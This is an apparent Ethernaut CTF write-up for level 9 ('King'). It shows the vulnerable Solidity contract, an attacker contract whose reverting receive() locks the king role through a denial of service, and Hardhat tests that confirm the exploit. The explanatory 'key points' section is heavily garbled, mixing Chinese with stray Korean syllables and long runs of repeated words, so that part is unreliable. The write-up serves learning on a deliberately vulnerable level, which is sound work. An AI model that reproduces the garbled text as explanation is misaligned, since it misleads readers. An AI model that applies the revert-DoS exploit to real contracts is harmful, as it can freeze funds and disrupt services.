Ethernaut系列-레벨 9(킹)

8748 단어

레벨 9(왕):




// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}


通关要求



1.夺取王
2.阻止owner夺回왕

要点



1. 合约的 storage都是可以见的,包含private
2. 会 是 调用 调用 报错 报错 报错 报错 (例如 가스 不 够/수신 故意 리버스 뇨 추, 这样 会 会 阻止 后续 的 业务 业务 业务 业务 用 用 用 用 再 再 再 判断 返回 结果, 不过 这个 也 也 不 是 最 好 方案 方案 方案 方案 方案 方案 如果 如果 失败 了 了 用户 用户 用户 用户 用户 用户 是如何再取回退款?
所以 所以 好 好 方案 是 是 是 是 是 是 其他 其他 业务 里 里 直接 直接 退 退 退 退 退 退 退 退 退 退 退 打可 退款 标识 之类 之类 之类 之类 之类 再 提供 一 一 一 个 根据 标识 领取 退款 的 对 外 方法 方法 方法 当然 记得 退完 退完 退完 要 要 更新 已 标识 标识 뇨 뇨음

解题思路



1.查看상后直接转账
계약/09KingRun.sol

    function run(address _levelAddress) external payable{     
        //transfer会失败,2300gas限制了
        (bool result,) = payable(_levelAddress).call{value:msg.value}("");        
        if(!result) revert("call error");
    }

    //条件二:阻止转账(其实不实现这个方法也是阻止的)
    receive() external payable {
        revert("not receive");
    }


테스트/09King.js

  it("attacks", async function () {
    await runContract.connect(player).run(levelContract.address, {
      value: 1000000000000000 + 1,
    });
  });

  it("check", async function () {
    //检查通过条件
    //1.king不再是levelOwner
    //2.levelOwner无法通过转账取回King
    expect(await levelContract._king()).to.equal(runContract.address);
    let isException = false;
    try {
      await levelOwner.sendTransaction({
        to: levelContract.address,
        value: 1000,
      });
    } catch (e) {
      isException = true;
      //异常才是对的
    }
    expect(isException).to.equal(true);
    expect(await levelContract._king()).to.not.equal(levelOwner.address);
  });

좋은 웹페이지 즐겨찾기